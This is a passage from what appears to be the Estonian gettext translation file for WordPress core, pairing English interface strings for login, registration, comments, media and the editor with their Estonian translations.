wp-includes/js/tinymce/wp-mce-help.php:130 msgid "Insert More Tag" msgstr "Lisa \"Veel\" silt" #: wp-includes/media.php:2972 msgid "Edit Gallery" msgstr "Muuda galeriid" #: wp-includes/class-wp-editor.php:821 msgid "Source" msgstr "Allikas" #: wp-includes/media-template.php:966 msgid "Link Rel" msgstr "Stiiliviide" #: wp-includes/js/tinymce/wp-mce-help.php:106 msgid "Rather than reaching for your mouse to click on the toolbar, use these access keys. Windows and Linux use Ctrl + letter. Macintosh uses Command + letter." msgstr "Tööriistaribal klõpsamiseks hiire otsimise asemel kasuta kiirklahve. Windows ja Linux kasutavad kombinatsioone Alt-<tähemärk>. Maci puhul on selleks Ctrl-<tähemärk>." #: wp-includes/js/tinymce/wp-mce-help.php:109 #: wp-includes/js/tinymce/wp-mce-help.php:123 msgid "Letter" msgstr "Tähemärk" #: wp-includes/js/tinymce/wp-mce-help.php:109 #: wp-includes/js/tinymce/wp-mce-help.php:123 msgid "Action" msgstr "Tegevus" #: wp-includes/class-wp-editor.php:782 #: wp-includes/js/tinymce/wp-mce-help.php:111 msgid "Select all" msgstr "Vali kõik" #: wp-includes/js/tinymce/wp-mce-help.php:121 msgid "The following shortcuts use different access keys: Alt + Shift + letter." msgstr "Järgmised kombinatsioonid on kujul Alt-Shift-täht." #: wp-includes/class-wp-editor.php:867 #: wp-includes/js/tinymce/wp-mce-help.php:124 msgid "Check Spelling" msgstr "Kontrolli õigekirja" #: wp-includes/js/tinymce/wp-mce-help.php:125 msgid "Justify Text" msgstr "Joonda servadest" #: wp-includes/js/tinymce/wp-mce-help.php:127 msgid "Insert link" msgstr "Lisa viide" #: wp-includes/class-wp-editor.php:853 #: wp-includes/js/tinymce/wp-mce-help.php:128 msgid "Remove link" msgstr "Eemalda viide" #: wp-includes/js/tinymce/wp-mce-help.php:129 msgid "Quote" msgstr "Tsitaat" #: wp-includes/js/tinymce/wp-mce-help.php:131 msgid "Insert Page Break tag" msgstr "Lisa leheküljepiir" #: wp-includes/link-template.php:673 msgid "Comments Feed" msgstr "Kommentaaride RSS" #: wp-includes/link-template.php:1611 wp-includes/link-template.php:1843 msgid "Previous Post" msgstr "Eelmine postitus" #: wp-includes/link-template.php:1611 wp-includes/link-template.php:1843 msgid "Next Post" msgstr "Järgmine postitus" #: wp-includes/deprecated.php:2737 msgid "Last Post" msgstr "Viimane postitus" #: wp-includes/link-template.php:2262 msgid "Newer Comments »" msgstr "Uuemad kommentaarid »" #: wp-includes/link-template.php:2306 msgid "« Older Comments" msgstr "« Vanemad kommentaarid" #. translators: one-letter abbreviation of the weekday #: wp-includes/locale.php:109 msgid "S_Sunday_initial" msgstr "P" #. translators: one-letter abbreviation of the weekday #: wp-includes/locale.php:110 msgid "M_Monday_initial" msgstr "E" #. translators: one-letter abbreviation of the weekday #: wp-includes/locale.php:111 msgid "T_Tuesday_initial" msgstr "T" #. translators: one-letter abbreviation of the weekday #: wp-includes/locale.php:112 msgid "W_Wednesday_initial" msgstr "K" #. translators: one-letter abbreviation of the weekday #: wp-includes/locale.php:113 msgid "T_Thursday_initial" msgstr "N" #. translators: one-letter abbreviation of the weekday #: wp-includes/locale.php:114 msgid "F_Friday_initial" msgstr "R" #. translators: one-letter abbreviation of the weekday #: wp-includes/locale.php:115 msgid "S_Saturday_initial" msgstr "L" #: wp-includes/locale.php:164 msgid "am" msgstr "e.l." #: wp-includes/locale.php:165 msgid "pm" msgstr "p.l." #: wp-includes/locale.php:166 msgid "AM" msgstr "e.l." #: wp-includes/locale.php:167 msgid "PM" msgstr "p.l." #. translators: $dec_point argument for http:php.net/number_format, default is #. . #: wp-includes/locale.php:177 msgid "number_format_decimal_point" msgstr "murdosa eraldaja" #. translators: $thousands_sep argument for http:php.net/number_format, default #. is , #: wp-includes/locale.php:173 msgid "number_format_thousands_sep" msgstr " " #: wp-includes/class-wp-image-editor-imagick.php:198 msgid "Could not read image size" msgstr "Pildi suuruse tuvastamine ebaõnnestus" #: wp-includes/ms-functions.php:265 msgid "That user does not exist." msgstr "Sellist kasutajat ei ole olemas." #: wp-includes/ms-functions.php:493 msgid "You cannot use that email address to signup. We are having problems with them blocking some of our email. Please use another email provider." msgstr "Seda aadressi ei saa registreerumiseks kasutada, kuna see süsteem kipub meie e-kirju blokeerima. Palun kasuta mõnd muud aadressi." #: wp-includes/ms-functions.php:503 msgid "Sorry, usernames must have letters too!" msgstr "Vabandust, kasutajanimes peab olema ka tähti!" #: wp-includes/ms-functions.php:512 msgid "Sorry, that email address is not allowed!" msgstr "Vabandust, see e-postiaadress ei ole lubatud!" #: wp-includes/ms-functions.php:517 wp-includes/user.php:1677 msgid "Sorry, that username already exists!" msgstr "Vabandust, see kasutajanimi on juba olemas!" #: wp-includes/ms-functions.php:521 wp-includes/user.php:1720 msgid "Sorry, that email address is already used!" msgstr "Vabandust, see e-postiaadress on juba kasutusel." #: wp-includes/ms-functions.php:533 msgid "That username is currently reserved but may be available in a couple of days." msgstr "See kasutajanimi on hetkel reserveeritud, kuid ta võib paari päeva jooksul vabaneda." #: wp-includes/ms-functions.php:543 msgid "That email address has already been used. Please check your inbox for an activation email. It will become available in a couple of days if you do nothing." msgstr "Seda e-postiaadressi on juba kasutatud. Palun vaata enda postkasti. Kui sa midagi ei tee, vabaneb see aadress paari päeva jooksul." #: wp-includes/ms-functions.php:997 msgid "Invalid activation key." msgstr "Vigane aktiveerimisvõti." #: wp-includes/ms-functions.php:1017 msgid "Could not create user" msgstr "Kasutaja loomine ei õnnestu" #: wp-includes/ms-functions.php:1025 msgid "That username is already activated." msgstr "See kasutajanimi on juba aktiveeritud." #: wp-includes/ms-functions.php:1283 msgid "New User Registration: %s" msgstr "Uue kasutaja registreerimine: %s" #: wp-includes/ms-functions.php:1603 msgid "New %1$s User: %2$s" msgstr "Uus %1$s kasutaja: %2$s" #: wp-includes/ms-functions.php:2121 msgid "" "Dear User,\n" "\n" "Your new account is set up.\n" "\n" "You can log in with the following information:\n" "Username: USERNAME\n" "Password: PASSWORD\n" "LOGINLINK\n" "\n" "Thanks!\n" "\n" "--The Team @ SITE_NAME" msgstr "" "Hea kasutaja,\n" "\n" "Sinu konto on loodud.\n" "\n" "Kontole võid sisse logida järgmise infoga:\n" "Kasutajanimi: USERNAME\n" "Parool: PASSWORD\n" "LOGINLINK\n" "\n" "Aitäh!\n" "\n" "-- SITE_NAME veebilehe meeskond" #: wp-includes/ms-load.php:411 msgid "What do I do now?" msgstr "" #: wp-includes/pluggable.php:562 msgid "<strong>ERROR</strong>: Invalid username or incorrect password." msgstr "<strong>VIGA</strong>: Vigane kasutajanimi või vale parool." #. translators: 1: comment author, 2: author IP, 3: author domain #: wp-includes/pluggable.php:1407 wp-includes/pluggable.php:1536 msgid "Author : %1$s (IP: %2$s , %3$s)" msgstr "Autor: %1$s (IP: %2$s , %3$s)" #: wp-includes/pluggable.php:1408 wp-includes/pluggable.php:1537 msgid "E-mail : %s" msgstr "E-post: %s" #: wp-includes/pluggable.php:1388 wp-includes/pluggable.php:1398 #: wp-includes/pluggable.php:1409 wp-includes/pluggable.php:1523 #: wp-includes/pluggable.php:1530 wp-includes/pluggable.php:1538 msgid "URL : %s" msgstr "URL: %s" #: wp-includes/pluggable.php:1411 wp-includes/pluggable.php:1540 msgid "Comment: " msgstr "Kommentaar:" #: wp-includes/pluggable.php:1412 msgid "You can see all comments on this post here: " msgstr "Kõik selle postituse kommentaarid on siin:" #. translators: 1: blog name, 2: post title #: wp-includes/pluggable.php:1414 msgid "[%1$s] Comment: \"%2$s\"" msgstr "[%1$s] Kommentaar: \"%2$s\"" #. translators: 1: website name, 2: author IP, 3: author domain #. translators: 1: comment author, 2: author IP, 3: author domain #: wp-includes/pluggable.php:1387 wp-includes/pluggable.php:1397 msgid "Website: %1$s (IP: %2$s , %3$s)" msgstr "Veebileht: %1$s (IP: %2$s , %3$s)" #: wp-includes/pluggable.php:1389 wp-includes/pluggable.php:1399 msgid "Excerpt: " msgstr "Katkend:" #: wp-includes/pluggable.php:1390 msgid "You can see all trackbacks on this post here: " msgstr "Kõik selle postituse tagasisideviited:" #. translators: 1: blog name, 2: post title #: wp-includes/pluggable.php:1392 msgid "[%1$s] Trackback: \"%2$s\"" msgstr "[%1$s] Tagasisideviide: \"%2$s\"" #: wp-includes/pluggable.php:1400 msgid "You can see all pingbacks on this post here: " msgstr "Kõik selle postituse pingback-viited:" #. translators: 1: blog name, 2: post title #: wp-includes/pluggable.php:1402 msgid "[%1$s] Pingback: \"%2$s\"" msgstr "[%1$s] Pingback: \"%2$s\"" #: wp-includes/pluggable.php:1422 wp-includes/pluggable.php:1546 msgid "Trash it: %s" msgstr "Kustuta: %s" #: wp-includes/pluggable.php:1424 wp-includes/pluggable.php:1548 msgid "Delete it: %s" msgstr "Kustuta: %s" #: wp-includes/pluggable.php:1425 wp-includes/pluggable.php:1549 msgid "Spam it: %s" msgstr "Märgi rämpsuks: %s" #: wp-includes/pluggable.php:1522 wp-includes/pluggable.php:1529 msgid "Website : %1$s (IP: %2$s , %3$s)" msgstr "Veebileht: %1$s (IP: %2$s , %3$s)" #: wp-includes/pluggable.php:1524 msgid "Trackback excerpt: " msgstr "Väljavõte trackback-ist:" #: wp-includes/pluggable.php:1531 msgid "Pingback excerpt: " msgstr "Väljavõte pingback-ist:" #: wp-includes/pluggable.php:1544 msgid "Approve it: %s" msgstr "Kiida heaks: %s" #: wp-includes/pluggable.php:1551 msgid "Currently %s comment is waiting for approval. Please visit the moderation panel:" msgid_plural "Currently %s comments are waiting for approval. Please visit the moderation panel:" msgstr[0] "Hetkel on ootejärjekorras %s kommentaar. Mine modereerimisvalikusse:" msgstr[1] "Hetkel on ootejärjekorras %s kommentaari. Mine modereerimisvalikusse:" #: wp-includes/pluggable.php:1555 msgid "[%1$s] Please moderate: \"%2$s\"" msgstr "[%1$s] Palun modereeri: \"%2$s\"" #: wp-includes/pluggable.php:1618 msgid "Password Lost and Changed for user: %s" msgstr "Kasutaja %s parool vahetati." #: wp-includes/pluggable.php:1622 msgid "[%s] Password Lost/Changed" msgstr "[%s] Parool vahetatud" #: wp-includes/pluggable.php:1646 wp-includes/pluggable.php:1654 #: wp-login.php:362 msgid "Username: %s" msgstr "Kasutajanimi: %s" #: wp-includes/pluggable.php:1649 msgid "[%s] New User Registration" msgstr "[%s] Uue kasutaja registreerimine" #: wp-includes/pluggable.php:1655 msgid "Password: %s" msgstr "Parool: %s" #: wp-includes/pluggable.php:1658 msgid "[%s] Your username and password" msgstr "[%s] Sinu kasutajanimi ja parool" #: wp-includes/post-template.php:131 msgid "Protected: %s" msgstr "Kaitstud: %s" #: wp-includes/post-template.php:146 msgid "Private: %s" msgstr "Privaatseid: %s" #: wp-includes/post-template.php:349 msgid "There is no excerpt because this is a protected post." msgstr "Katkend puudub, kuna see postitus on kaitstud." #: wp-includes/post-template.php:753 msgid "Next page" msgstr "Järgmine lk" #: wp-includes/post-template.php:754 msgid "Previous page" msgstr "Eelmine lk" #: wp-includes/post-template.php:1139 msgid "Home" msgstr "Esileht" #. translators: revision date format, see http:php.net/date #: wp-includes/post-template.php:1653 msgctxt "revision date format" msgid "j F, Y @ G:i" msgstr "j. M Y k\\e\\l\\l H:i" #: wp-includes/post-template.php:1708 msgid "%1$s [Autosave]" msgstr "%1$s [Automaatsalvestus]" #: wp-includes/post-template.php:1709 msgid "%1$s [Current Revision]" msgstr "%1$s [Viimane versioon]" #: wp-includes/post.php:83 msgid "Revision" msgstr "Versioon" #: wp-includes/post.php:112 msgctxt "post" msgid "Published" msgstr "Avaldatud" #: wp-includes/post.php:115 msgid "Published <span class=\"count\">(%s)</span>" msgid_plural "Published <span class=\"count\">(%s)</span>" msgstr[0] "Avaldatud <span class=\"count\">(%s)</span>" msgstr[1] "Avaldatud <span class=\"count\">(%s)</span>" #: wp-includes/post.php:119 msgctxt "post" msgid "Scheduled" msgstr "Avaldamise ootel" #: wp-includes/post.php:122 msgid "Scheduled <span class=\"count\">(%s)</span>" msgid_plural "Scheduled <span class=\"count\">(%s)</span>" msgstr[0] "Ootel <span class=\"count\">(%s)</span>" msgstr[1] "Ootel <span class=\"count\">(%s)</span>" #: wp-includes/post.php:126 msgctxt "post" msgid "Draft" msgstr "Mustand" #: wp-includes/post.php:129 msgid "Draft <span class=\"count\">(%s)</span>" msgid_plural "Drafts <span class=\"count\">(%s)</span>" msgstr[0] "Mustand <span class=\"count\">(%s)</span>" msgstr[1] "Mustandid <span class=\"count\">(%s)</span>" #: wp-includes/post.php:133 msgctxt "post" msgid "Pending" msgstr "Ootel" #: wp-includes/post.php:136 msgid "Pending <span class=\"count\">(%s)</span>" msgid_plural "Pending <span class=\"count\">(%s)</span>" msgstr[0] "Ootel <span class=\"count\">(%s)</span>" msgstr[1] "Ootel <span class=\"count\">(%s)</span>" #: wp-includes/post.php:140 msgctxt "post" msgid "Private" msgstr "Privaatne" #: wp-includes/post.php:143 msgid "Private <span class=\"count\">(%s)</span>" msgid_plural "Private <span class=\"count\">(%s)</span>" msgstr[0] "Privaatne <span class=\"count\">(%s)</span>" msgstr[1] "Privaatsed <span class=\"count\">(%s)</span>" #: wp-includes/post.php:147 msgctxt "post" msgid "Trash" msgstr "Kustuta" #: wp-includes/post.php:150 msgid "Trash <span class=\"count\">(%s)</span>" msgid_plural "Trash <span class=\"count\">(%s)</span>" msgstr[0] "Prügi: <span class=\"count\">(%s)</span>" msgstr[1] "Prügi: <span class=\"count\">(%s)</span>" #: wp-includes/post.php:3142 msgid "Content, title, and excerpt are empty." msgstr "Sisu, pealkiri ja väljavõte on tühjad." #: wp-includes/post.php:3343 msgid "Could not update post in the database" msgstr "Postituse uuendamine andmebaasis ebaõnnestus" #: wp-includes/post.php:3358 msgid "Could not insert post into the database" msgstr "Postituse lisamine andmebaasi ebaõnnestus" #: wp-includes/post.php:3422 msgid "The page template is invalid." msgstr "Lehemall on vigane." #: wp-includes/revision.php:254 msgid "Cannot create a revision of a revision" msgstr "Ei saa luua paralleelversiooni" #: wp-includes/revision.php:522 msgid "You do not have permission to preview drafts." msgstr "Sul pole õigust mustandeid eelvaadelda." #: wp-includes/user.php:1674 msgid "Cannot create a user with an empty login name." msgstr "Tühja kasutajanimega kasutajat ei saa luua." #: wp-includes/user.php:1998 msgid "AIM" msgstr "AIM" #: wp-includes/user.php:1999 msgid "Yahoo IM" msgstr "Yahoo IM" #: wp-includes/user.php:2000 msgid "Jabber / Google Talk" msgstr "Jabber / Google Talk" #: wp-includes/default-widgets.php:1036 wp-includes/rss.php:899 msgid "An error has occurred, which probably means the feed is down. Try again later." msgstr "Tekkis viga, ilmselt see uudisevoog ei tööta. Proovi hiljem uuesti." #: wp-includes/script-loader.php:82 msgid "" "You are about to permanently delete the selected items.\n" " 'Cancel' to stop, 'OK' to delete." msgstr "" "Oled kustutamas valitud objekte jäädavalt. \n" "Kustutamiseks vali 'Olgu', tühistamiseks 'Tühista'." #: wp-includes/script-loader.php:89 msgid "Close all open tags" msgstr "Sulge kõik avatud märgendid" #: wp-includes/script-loader.php:90 msgid "close tags" msgstr "sulge märgendid" #: wp-includes/script-loader.php:91 msgid "Enter the URL" msgstr "Sisesta URL" #: wp-includes/script-loader.php:92 msgid "Enter the URL of the image" msgstr "Sisesta pildi URL" #: wp-includes/script-loader.php:93 msgid "Enter a description of the image" msgstr "Sisesta pildi kirjeldus" #: wp-includes/script-loader.php:108 wp-includes/script-loader.php:420 msgid "You do not have permission to do that." msgstr "Sul pole selleks piisavaid õigusi." #: wp-includes/script-loader.php:109 wp-includes/script-loader.php:421 msgid "An unidentified error has occurred." msgstr "Tekkis tundmatu viga" #: wp-includes/script-loader.php:225 msgid "Next >" msgstr "Järgmine >" #: wp-includes/script-loader.php:226 msgid "< Prev" msgstr "< Eelmine" #: wp-includes/script-loader.php:227 msgid "Image" msgstr "Pilt" #: wp-includes/script-loader.php:228 msgid "of" msgstr " / " #: wp-includes/script-loader.php:230 msgid "This feature requires inline frames. You have iframes disabled or your browser does not support them." msgstr "Vajatakse iframes-i tuge. Sul on need kas välja lülitatud või ei toeta sinu veebilehitseja neid." #: wp-includes/script-loader.php:240 msgid "You have attempted to queue too many files." msgstr "Oled seadnud ootejärjekorda liiga palju faile." #: wp-includes/script-loader.php:242 msgid "This file is empty. Please try another." msgstr "See fail on tühi. Proovi mõnd teist." #: wp-includes/script-loader.php:243 msgid "This file type is not allowed. Please try another." msgstr "Seda tüüpi faili pole lubatud lisada. Proovi mõnd teist." #: wp-includes/script-loader.php:247 msgid "An error occurred in the upload. Please try again later." msgstr "Üleslaadimisel tekkis viga. Proovi hiljem uuesti." #: wp-includes/script-loader.php:248 msgid "There was a configuration error. Please contact the server administrator." msgstr "Häälestuses on viga. Palun võta ühendust serveri halduriga." #: wp-includes/script-loader.php:249 msgid "You may only upload 1 file." msgstr "Sa saad üles laadida üksnes 1 faili." #: wp-includes/script-loader.php:250 msgid "HTTP error." msgstr "HTTP viga." #: wp-includes/script-loader.php:251 msgid "Upload failed." msgstr "Üleslaadimine ebaõnnestus" #: wp-includes/script-loader.php:254 msgid "IO error." msgstr "S/V viga." #: wp-includes/script-loader.php:255 msgid "Security error." msgstr "Turvaviga." #: wp-includes/script-loader.php:257 msgid "Upload stopped." msgstr "Üleslaadimine peatati." #: wp-includes/script-loader.php:259 msgid "Crunching…" msgstr "Tegelen asjaga…" #: wp-includes/script-loader.php:260 msgid "moved to the trash." msgstr "saadetud prügikasti." #. translators: password strength #: wp-includes/script-loader.php:343 msgctxt "password strength" msgid "Medium" msgstr "Keskmine" #: wp-includes/script-loader.php:440 msgid "Publish on:" msgstr "Avalda: " #: wp-includes/script-loader.php:441 msgid "Schedule for:" msgstr "Avalda:" #: wp-includes/script-loader.php:442 msgid "Published on:" msgstr "Avaldatud: " #: wp-includes/script-loader.php:445 msgid "Show more comments" msgstr "Näita teisi kommentaare" #: wp-includes/script-loader.php:446 msgid "No more comments found." msgstr "Rohkem kommentaare pole." #: wp-includes/script-loader.php:455 msgid "Password Protected" msgstr "Parooliga kaitstud" #: wp-includes/script-loader.php:470 msgid "Submitted on:" msgstr "Saadetud:" #: wp-includes/script-loader.php:481 wp-includes/script-loader.php:489 msgid "Error while saving the changes." msgstr "Viga muudatuste salvestamisel." #: wp-includes/script-loader.php:482 msgid "Remove From Bulk Edit" msgstr "Eemalda massmuutmisest" #: wp-includes/script-loader.php:494 msgid "Plugin Information:" msgstr "Plugina info:" #: wp-includes/script-loader.php:529 msgid "Saving..." msgstr "Salvestan..." #: wp-includes/script-loader.php:530 msgid "Could not set that as the thumbnail image. Try a different attachment." msgstr "Seda ei saa pisipildiks määrata. Proovi mõnd muud manust." #: wp-includes/script-loader.php:460 msgid "Saving Draft…" msgstr "Salvestan mustandi..." #: wp-includes/taxonomy.php:2761 msgid "Invalid Taxonomy" msgstr "Vigane taksonoomia" #: wp-includes/taxonomy.php:956 wp-includes/taxonomy.php:3656 msgid "Empty Term" msgstr "Tühi termin" #: wp-includes/class-wp-xmlrpc-server.php:1287 #: wp-includes/class-wp-xmlrpc-server.php:1829 #: wp-includes/class-wp-xmlrpc-server.php:1917 #: wp-includes/class-wp-xmlrpc-server.php:1985 wp-includes/taxonomy.php:2415 msgid "Invalid term ID" msgstr "Vigane ID" #: wp-includes/taxonomy.php:2418 wp-includes/taxonomy.php:2948 msgid "A name is required for this term" msgstr "See termin vajab nime" #: wp-includes/taxonomy.php:2496 wp-includes/taxonomy.php:2504 #: wp-includes/taxonomy.php:2515 msgid "Could not insert term into the database" msgstr "Andmebaasi lisamine ebaõnnestus" #: wp-includes/taxonomy.php:3004 msgid "The slug “%s” is already in use by another term" msgstr "Kirjeldus “%s” on juba teises kohas kasutusel" #: wp-includes/taxonomy.php:3853 msgid "Invalid object ID" msgstr "Vigane objekti ID" #: wp-includes/class-wp-theme.php:247 msgid "Template is missing." msgstr "Mall puudub." #: wp-includes/class-wp-theme.php:266 msgid "The parent theme is missing. Please install the \"%s\" parent theme." msgstr "Ülemteema on puudu. Palun paigalda \"%s\" ülemteema." #: wp-includes/class-wp-theme.php:221 msgid "Stylesheet is missing." msgstr "Stiilileht puudub." #: wp-includes/user.php:126 msgid "<strong>ERROR</strong>: The username field is empty." msgstr "<strong>VIGA</strong>: kasutajanime väli on tühi." #: wp-includes/user.php:129 msgid "<strong>ERROR</strong>: The password field is empty." msgstr "<strong>VIGA</strong>: parooliväli on tühi" #: wp-includes/user.php:217 msgid "<strong>ERROR</strong>: Your account has been marked as a spammer." msgstr "<strong>VIGA</strong>: Sinu konto on märgitud rämpspostitajaks." #: wp-includes/functions.php:4485 wp-includes/user.php:187 msgid "Please log in again." msgstr "Palun logi uuesti sisse." #: wp-includes/widgets.php:575 wp-includes/widgets.php:645 msgid "Sidebar %d" msgstr "Külgpaan %d" #: wp-includes/wp-db.php:2096 msgid "<strong>ERROR</strong>: WordPress %1$s requires MySQL %2$s or higher" msgstr "<strong>VIGA</strong>: WordPress %1$s vajab MySQL %2$s või uuemat" #: wp-login.php:101 msgid "Powered by WordPress" msgstr "Kasutame WordPressi" #: wp-login.php:276 msgid "<strong>ERROR</strong>: Enter a username or e-mail address." msgstr "<strong>VIGA</strong>: palun sisesta kasutajanimi või e-postiaadress." #: wp-login.php:280 msgid "<strong>ERROR</strong>: There is no user registered with that email address." msgstr "<strong>VIGA</strong>: Selle e-postiaadressiga kasutajat pole registreeritud." #: wp-login.php:297 msgid "<strong>ERROR</strong>: Invalid username or e-mail." msgstr "<strong>VIGA</strong>: Vigane kasutajanimi või e-aadress." #: wp-login.php:335 msgid "Password reset is not allowed for this user" msgstr "See kasutaja ei saa parooli lähtestada" #: wp-login.php:376 msgid "[%s] Password Reset" msgstr "[%s] Parool vahetatud." #: wp-login.php:397 msgid "The e-mail could not be sent." msgstr "E-posti saatmine ebaõnnestus." #: wp-includes/user.php:2045 wp-includes/user.php:2048 #: wp-includes/user.php:2052 wp-includes/user.php:2063 #: wp-includes/user.php:2079 msgid "Invalid key" msgstr "vigane võti" #: wp-includes/user.php:2137 msgid "<strong>ERROR</strong>: Please type your e-mail address." msgstr "<strong>VIGA</strong>: palun sisesta enda e-postiaadress." #: wp-includes/user.php:2139 msgid "<strong>ERROR</strong>: The email address isn’t correct." msgstr "<strong>VIGA</strong>: see e-postiaadress pole korrektne." #: wp-login.php:500 msgid "Sorry, that key does not appear to be valid." msgstr "Vabandust, see võti ei ole vist õige." #: wp-login.php:522 msgid "Lost Password" msgstr "Kadunud parool" #: wp-login.php:530 msgid "Username or E-mail:" msgstr "Kasutajanimi või e-post:" #: wp-login.php:541 msgid "Get New Password" msgstr "Küsi uus parool:" #: wp-login.php:218 msgid "Are you lost?" msgstr "Oled segaduses?" #: wp-login.php:218 msgid "← Back to %s" msgstr "← Tagasi lehele %s" #: wp-login.php:706 msgid "Registration Form" msgstr "Registreerimisvorm" #: wp-login.php:706 msgid "Register For This Site" msgstr "Registreeru ajaveebi kasutajaks" #: wp-login.php:726 msgid "A password will be e-mailed to you." msgstr "Parool saadetakse sulle e-postiga." #: wp-login.php:734 wp-login.php:911 msgid "Password Lost and Found" msgstr "Kui kaotasid parooli" #: wp-login.php:734 wp-login.php:911 msgid "Lost your password?" msgstr "Parool kadunud?" #: wp-login.php:797 msgid "You have logged in successfully." msgstr "Oled edukalt sisse logitud." #: wp-login.php:835 msgid "You are now logged out." msgstr "Oled välja logitud." #: wp-login.php:837 msgid "User registration is currently not allowed." msgstr "Kasutajate registreerimine on hetkel suletud." #: wp-login.php:839 msgid "Check your e-mail for the confirmation link." msgstr "Kinnitusviide on saadetud sinu e-postiaadressile." #: wp-login.php:841 msgid "Check your e-mail for your new password." msgstr "Sinu uus parool on saadetud sinu e-postiaadressile." #: wp-login.php:843 msgid "Registration complete. Please check your e-mail." msgstr "Registreerumine tehtud, palun vaata enda e-postkasti." #: wp-mail.php:34 msgid "Slow down cowboy, no need to check for new mails so often!" msgstr "Pea kinni, kauboi, nii tihedalt pole kah vaja e-posti kontrollida!" #: wp-mail.php:54 msgid "There doesn’t seem to be any new mail." msgstr "Uusi sõnumeid pole." #: wp-mail.php:122 msgid "Author is %s" msgstr "Autor: %s" #: wp-mail.php:247 msgid "<strong>Author:</strong> %s" msgstr " - <strong>Autor</strong>: %s" #: wp-mail.php:248 msgid "<strong>Posted title:</strong> %s" msgstr " - <strong>Postituse pealkiri</strong>: %s" #: wp-mail.php:251 msgid "Oops: %s" msgstr "Ups: %s" #: wp-signup.php:126 msgid "Privacy:" msgstr "Privaatsus:" #: wp-signup.php:184 msgid "(Must be at least 4 characters, letters and numbers only.)" msgstr "Vähemalt 4 tähemärki, sisaldab vaid tähti ja numbreid.)" #: wp-signup.php:187 msgid "Email Address:" msgstr "E-postiaadress:" #: wp-signup.php:263 msgid "There was a problem, please correct the form below and try again." msgstr "Tekkis probleem - tee allolevas vormis parandusi ja proovi veel kord." #: wp-signup.php:437 msgid "Get your own %s account in seconds" msgstr "Loo enda %s konto mõne hetkega" #: wp-signup.php:456 msgid "Just a username, please." msgstr "Ainult kasutajanimi, palun." #: wp-signup.php:460 msgid "Next" msgstr "Järgmised" #: wp-signup.php:508 msgid "%s is your new username" msgstr "%s on su uus kasutajanimi." #: wp-signup.php:509 msgid "But, before you can start using your new username, <strong>you must activate it</strong>." msgstr "Enne enda uue konto kasutuselevõttu pead selle <strong>aktiveerima</strong>." #: wp-signup.php:511 msgid "If you do not activate your username within two days, you will have to sign up again." msgstr "Kui sa ei aktiveeri enda kasutajanime kahe päeva jooksul, pead uuesti registreeruma." #: wp-signup.php:577 msgid "Signup" msgstr "Registreeru" #: wp-signup.php:648 msgid "Still waiting for your email?" msgstr "Kas ootad ikka veel enda e-kirja?" #: wp-signup.php:687 msgid "Registration has been disabled." msgstr "Registreerumine on suletud." #: wp-signup.php:698 msgid "User registration has been disabled." msgstr "Kasutajate registreerimine on suletud." #: wp-includes/js/tinymce/wp-mce-help.php:131 msgid "Help" msgstr "Abiinfo" #: wp-includes/class-wp-editor.php:903 wp-includes/media-template.php:920 msgid "Width" msgstr "Laius" #: wp-includes/user.php:2127 msgid "<strong>ERROR</strong>: Please enter a username." msgstr "<strong>VIGA</strong>: Palun sisesta kasutajanimi." #: wp-includes/user.php:2142 msgid "<strong>ERROR</strong>: This email is already registered, please choose another one." msgstr "<strong>VIGA</strong>: see e-postiaadress on juba registreeritud, palun vali mõni muu." #: wp-includes/widgets.php:67 msgid "There are no options for this widget." msgstr "Sellel moodulil pole valikuid." #: wp-includes/admin-bar.php:315 wp-includes/admin-bar.php:362 #: wp-includes/admin-bar.php:418 wp-includes/deprecated.php:2854 #: wp-includes/deprecated.php:2856 msgid "Dashboard" msgstr "Töölaud" #: wp-includes/script-loader.php:339 wp-login.php:631 msgid "Strength indicator" msgstr "Tugevuse mõõdik" #: wp-includes/general-template.php:408 wp-login.php:862 wp-login.php:888 msgid "Log In" msgstr "Logi sisse" #: wp-includes/script-loader.php:340 msgid "Very weak" msgstr "Väga nõrk" #: wp-includes/script-loader.php:341 msgid "Weak" msgstr "Nõrk" #: wp-includes/script-loader.php:344 msgid "Strong" msgstr "Tugev" #: wp-includes/taxonomy.php:482 msgid "Edit Category" msgstr "Muuda rubriiki" #: wp-signup.php:131 msgid "Yes" msgstr "Jah" #: wp-includes/admin-bar.php:368 msgid "Sites" msgstr "Veebilehed" #: wp-includes/admin-bar.php:380 wp-includes/admin-bar.php:658 msgid "Themes" msgstr "Teemad" #: wp-includes/admin-bar.php:342 msgid "My Sites" msgstr "Minu veebilehed" #: wp-includes/post.php:1624 msgctxt "page" msgid "Add New" msgstr "" #: wp-includes/deprecated.php:2737 msgid "First Post" msgstr "Esimene postitus" #: wp-includes/class-wp-customize-manager.php:944 #: wp-includes/class-wp-xmlrpc-server.php:419 msgid "Site Title" msgstr "Veebilehe pealkiri" #: wp-includes/comment-template.php:2085 msgid "Email" msgstr "E-post" #: wp-includes/class-wp-xmlrpc-server.php:479 msgid "Allow people to post comments on new articles" msgstr "Luba postituste kommenteerimist" #: wp-includes/class-wp-xmlrpc-server.php:429 msgid "Date Format" msgstr "Kuupäevavorming" #: wp-includes/class-wp-xmlrpc-server.php:434 msgid "Time Format" msgstr "Ajavorming" #: wp-includes/class-wp-editor.php:902 wp-includes/media-template.php:920 msgid "Height" msgstr "Kõrgus" #: wp-includes/class-wp-customize-control.php:479 #: wp-includes/class-wp-customize-control.php:810 #: wp-includes/script-loader.php:506 msgid "Default" msgstr "Vaikimisi" #: wp-includes/js/tinymce/wp-mce-help.php:129 msgid "Insert Image" msgstr "Lisa pilt" #: wp-includes/class-wp-editor.php:181 wp-includes/class-wp-editor.php:1199 msgid "Visual" msgstr "Visuaalredaktor" #: wp-includes/default-widgets.php:90 wp-includes/default-widgets.php:250 #: wp-includes/default-widgets.php:351 wp-includes/default-widgets.php:422 #: wp-includes/default-widgets.php:465 wp-includes/default-widgets.php:523 #: wp-includes/default-widgets.php:629 wp-includes/default-widgets.php:763 #: wp-includes/default-widgets.php:911 wp-includes/default-widgets.php:1277 #: wp-includes/default-widgets.php:1356 msgid "Title:" msgstr "Pealkiri:" #: wp-includes/taxonomy.php:487 msgid "Separate tags with commas" msgstr "Eralda erinevad sildid komadega." #: wp-includes/theme-compat/comments.php:77 #: wp-includes/theme-compat/comments.php:80 msgid "(required)" msgstr "(nõutav)" #: wp-includes/comment-template.php:2087 #: wp-includes/theme-compat/comments.php:83 msgid "Website" msgstr "Veebileht" #: wp-includes/admin-bar.php:678 wp-includes/class-wp-customize-widgets.php:437 #: wp-includes/functions.php:3078 msgid "Widgets" msgstr "Moodulid" #: wp-includes/class-wp-xmlrpc-server.php:1381 #: 